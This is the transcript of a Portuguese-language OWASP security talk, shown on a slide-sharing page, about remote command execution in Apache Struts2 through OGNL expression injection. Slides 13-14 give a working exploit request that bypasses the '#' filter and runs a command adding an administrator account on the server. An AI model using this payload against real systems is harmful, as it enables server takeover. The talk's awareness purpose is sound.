slide1 n.
Download
Skip this Video
Loading SlideShow in 5 Seconds..
Struts2/XWork Remote Command Execution PowerPoint Presentation
Download Presentation
Struts2/XWork Remote Command Execution

Loading in 2 Seconds...

play fullscreen
1 / 16
tailynn

Struts2/XWork Remote Command Execution - PowerPoint PPT Presentation

114 Views
Download Presentation
Struts2/XWork Remote Command Execution
An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript

  1. Struts2/XWork Remote Command Execution Tiago Natel de Moura natel@owasp.org

  2. Sobre mim • Pesquisador e co-fundador do grupo BugSec Team. bugsec.googlecode.com • Consultor de Segurança na SEC+. www.secplus.com.br • Co-Fundador e Lider do Capítulo da OWASP de Florianópolis. • Desenvolvedor de algumas ferramentas de segurança: http://github.com/tiago4orion

  3. Experiências/Interesses Linguagens: • C, C++, Assembly, Lisp Segurança: • Desenvolvimento de Exploits; • Buffer overflows (Stack/Heap Overrun); • Network Protocol (TCP/UDP/IP, WEP/WPA, FTP/HTTP, etc) • Análise de Malwares; • Web Application Vulnerabilities (SQLI, XSS, CSRF, LFD/RFI, etc) • Metodologias de segurança;

  4. Sobre essa palestra • Falar sobre uma falha crítica no framework Struts que permite ao atacante executar comandos no servidor. • Concientizar os desenvolvedores sobre a importância da segurança na escolha das tecnologias utilizadas no projeto.

  5. A verdade sobre os frameworks Eles também possuem falhas de segurança ... • Todos eles... • Java – Struts, Hibernate, Spring • Microsoft .Net • Ruby – Rails, Merb, Ramaze • Python – Django, Twisted, web.py • PHP – Zend, Symfony, Cake • Você audita o código do seu framework?

  6. Um pouco sobre Struts e OGNL • Struts2 é basicamente um framework para desenvolver aplicações web em Java utilizando a arquitetura de Model-View-Controller (MVC) • Object-Graph Navigation Language (OGNL) é uma linguagem para acessar e setar propriedades de objetos Java. • Struts2 trata os parametros HTTP como expressões OGNL.

  7. CVE-2010-1870 – Struts2/XWork Remote Code Execution The OGNL extensive expression evaluation capability in XWork in Struts 2.0.0 through 2.1.8.1, as used in Atlassian Fisheye, Crucible, and possibly other products, uses a permissive whitelist, which allows remote attackers to modify server-side context objects and bypass the "#" protection mechanism in ParameterInterceptors via the (1) #context, (2) #_memberAccess, (3) #root, (4) #this, (5) #_typeResolver, (6) #_classResolver, (7) #_traceEvaluations, (8) #_lastEvaluation, (9) #_keepLastEvaluation, and possibly other OGNL context variables, a different vulnerability than CVE-2008-6504.

  8. CVE-2011-3923 - Apache Struts 'ParameterInterceptor' Class OGNL Security Bypass Apache Struts is prone to a security-bypass vulnerability because it fails to adequately handle user-supplied input. This issue is related to the vulnerability documented in BID 32101(XWork 'ParameterInterceptor' Class OGNL Security Bypass Vulnerability). Apache Struts versions 2.0.0 through 2.3.1.1 are vulnerable.

  9. Múltiplas Vulnerabilidades... • Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator) • Remote command execution in Struts <= 2.3.1 (CookieInterceptor) • Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor) • Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)

  10. Um exemplo de OGNL http://server/your/web/app?page['language']=en action.getPage().setLanguage("en")

  11. Como Struts2 e OGNL conduzem para uma execução remota de código • OGNL existe para referenciar variáveis usando o prefixo '#'. • Adicionalmente, existem contextos pré-definidos como #session, #context...

  12. Como Struts2 e OGNL conduzem para uma execução remota de código 1. Descubriu-se que o módulo ParametersInterceptor o qual realiza a transformação das variáveis do GET para Java não escapa '#' de maneira apropriada quando ele é enviado como uma string unicode '\u0023'. 2. Existem duas chaves de contextos importantes: • #context – OgnlContext – Este possui a propriedade chamada 'xwork.MethodAccessor.denyMethodExecution' o qual nega a execução de um método. • #_memberAccess - SecurityMemberAccess, contém um campo chamado 'allowStaticAccess' o qual previne a execução de métodos estáticos.

  13. Como Struts2 e OGNL conduzem para uma execução remota de código É fácil ver aonde isso vai acabar ... #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('net user /add newadmin HACKED')

  14. Como Struts2 e OGNL conduzem para uma execução remota de código É facil ver aonde isso vai acabar... #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('net user /add newadmin HACKED') http://vulnerable_host/login.action? ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true& (aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo') (\u0023foo\u003dnew%20java.lang.Boolean("false")))& (asdf)(('\u0023rt.exec(“net%20user%20/add%20newadmin%20HACKED”)') (\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

  15. Como escolher a tecnologia a ser usada no projeto? Consulte a comunidade de segurança!

  16. The End E-mail: natel <at> owasp.org github: github.com/tiago4orion